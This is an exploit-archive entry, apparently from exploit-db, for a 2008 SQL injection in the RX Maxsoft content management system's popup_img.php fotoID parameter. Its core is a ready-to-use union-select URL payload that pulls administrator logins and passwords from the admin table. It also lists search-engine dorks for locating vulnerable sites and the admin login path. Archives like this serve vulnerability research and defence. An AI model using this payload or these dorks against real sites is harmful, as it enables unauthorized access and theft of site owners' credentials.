RX Maxsoft (popup_img.php fotoID) Remote SQL Injection Vulnerability

2008-04-10

ID: 29725
CVE: CVE-2008-4912
Source: https://www.exploit-db.com/exploits/5426/
Download vulnerable application: None
########################################## # # ProvozovÃ¡no na RS MAXSOFT SQL-Injection # # PAGE:http://redakcni-system.maxsoft.cz/ # ########################################## # ##AUTHOR : [email protected] # ####HOME : http://www.milw0rm.com/author/1334 # ####BLOG : http://my.opera.com/SQL-Injection/blog/ # ####MAiL : [email protected] # ########################################### # # DORK 1 : "RS MAXSOFT" # # DORK 2 : "ProvozovÃ¡no na RS MAXSOFT" # ########################################### you will see adminname and password on title EXPLOiT: modules/fotogalerie/popup_img.php?fotoID=-1+union+select+concat(login,0x3a,pass)+from+admin ADMiN LOGiN=admin.php?page=logfrm ########################################### [email protected]# ########################################### [email protected]# ########################################### --http://my.opera.com/SQL-Injection/blog/-# ###########################################